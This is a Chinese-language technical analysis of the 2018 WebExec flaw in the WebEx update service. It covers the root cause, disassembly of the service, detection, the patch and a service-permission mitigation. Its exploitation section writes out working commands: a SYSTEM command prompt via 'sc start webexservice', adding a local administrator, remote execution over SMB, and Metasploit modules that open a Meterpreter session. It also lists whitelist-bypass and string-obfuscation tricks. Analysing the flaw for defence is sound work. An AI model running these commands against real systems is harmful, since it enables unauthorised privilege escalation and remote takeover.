WebExec之技术纲要(权限提升&代码执行)
字数 1482 2025-08-27 12:33:42
WebExec漏洞技术分析与利用指南
漏洞概述
WebExec是WebEx客户端软件(WebexUpdateService)中的一个严重漏洞,允许任何登录到安装了WebEx的Windows系统的用户远程执行SYSTEM级命令。该漏洞同时具备本地权限提升和远程代码执行能力。
影响版本:截至2018年8月的最新客户端版本3211.0.1801.2200及之前多个版本
漏洞特点:
- 服务不监听任何端口但仍可远程利用
- 本地普通用户可提升至SYSTEM权限
- 域环境下任何域用户可远程利用
- 攻击可绕过部分应用程序白名单限制
漏洞发现背景
该漏洞由安全研究人员在常规渗透测试中发现,最初目的是提升终端用户笔记本电脑上的本地权限,后来发现其远程利用潜力。
技术分析
漏洞根源
-
目录权限问题:
C:\ProgramData\WebEx\WebEx\Applications\目录对所有用户可写- 安装的"webexservice"服务可由任何用户启动和停止
-
服务功能缺陷:
- 服务使用
CreateProcessAsUserW以SYSTEM权限执行命令 - 命令参数验证不严格,可被操控执行任意命令
- 服务使用
服务逆向分析
通过IDA Pro分析webexservice.exe发现关键函数调用链:
-
进程创建机制:
.text:0040254E push [ebp+lpProcessInformation] .text:00402554 push [ebp+lpStartupInfo] .text:0040255A push 0 ; lpCurrentDirectory .text:0040255C push 0 ; lpEnvironment .text:0040255E push 0 ; dwCreationFlags .text:00402560 push 0 ; bInheritHandles .text:00402562 push 0 ; lpThreadAttributes .text:00402564 push 0 ; lpProcessAttributes .text:00402566 push [ebp+lpCommandLine] ; 关键参数 .text:0040256C push 0 ; lpApplicationName .text:0040256E push [ebp+phNewToken] ; hToken (SYSTEM) .text:00402574 call ds:CreateProcessAsUserW -
令牌获取过程:
- 服务搜索
winlogon.exe进程 - 复制其令牌用于创建新进程
- 最终以SYSTEM权限执行
- 服务搜索
-
命令参数处理:
- 需要至少3个参数
- 第二个参数必须为"software-update"
- 第三个参数必须为"1"
- 后续参数作为命令执行
利用方法
本地权限提升
-
基本利用:
sc start webexservice a software-update 1 wmic process call create "cmd.exe"这将打开SYSTEM权限的cmd.exe
-
添加管理员用户:
sc start webexservice a software-update 1 net localgroup administrators testuser /add
远程利用
-
基本远程命令执行:
sc \\目标IP start webexservice a software-update 1 命令 -
Metasploit利用:
- 使用
auxiliary/admin/smb/webexec_command模块执行单条命令 - 使用
exploit/windows/smb/webexec模块获取Meterpreter会话
- 使用
Metasploit模块使用示例
-
单命令执行:
use auxiliary/admin/smb/webexec_command set RHOSTS 192.168.1.100 set SMBUser testuser set SMBPass testuser set COMMAND calc exploit -
完整利用获取会话:
use exploit/windows/smb/webexec set SMBUser testuser set SMBPass testuser set PAYLOAD windows/meterpreter/bind_tcp set RHOSTS 192.168.56.101 exploit
漏洞检测
-
服务配置检查:
- 检查WebExService是否存在
- 检查服务目录权限
-
补丁验证:
- 补丁后服务只运行WebEx签名的文件
- 但仍可远程启动服务
-
Nmap检测脚本:
- 尝试创建并启动测试服务
- 根据响应判断漏洞状态
防御措施
-
官方补丁:
- WebEx于2018年10月3日发布补丁
- 补丁强制验证可执行文件签名
-
临时缓解措施:
sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)此命令限制服务的远程和非交互式访问
-
其他建议:
- 监控WebExService异常启动
- 限制普通用户对服务目录的写入权限
- 实施网络分段限制SMB访问
技术细节补充
服务参数处理流程
- 参数数量检查(至少3个)
- 验证第二个参数为"software-update"
- 验证第三个参数可转换为数字("1")
- 后续参数拼接为命令执行
绕过限制的技巧
-
应用程序白名单绕过:
- 使用系统自带工具(wmic、net等)
- 利用白名单内程序执行代码(如msbuild.exe)
-
命令拼接问题解决:
- 空字符串替换:
""→mid(Chr(65), 1, 0) - 字符串转义:
"string"→Chr(115)+Chr(116)+...
- 空字符串替换:
总结
WebExec漏洞展示了Windows服务中一类新型攻击面 - 不监听端口但仍可远程利用的服务。这类漏洞需要特别关注服务权限配置和参数验证机制。防御方面,应遵循最小权限原则,及时更新补丁,并监控关键服务的异常行为。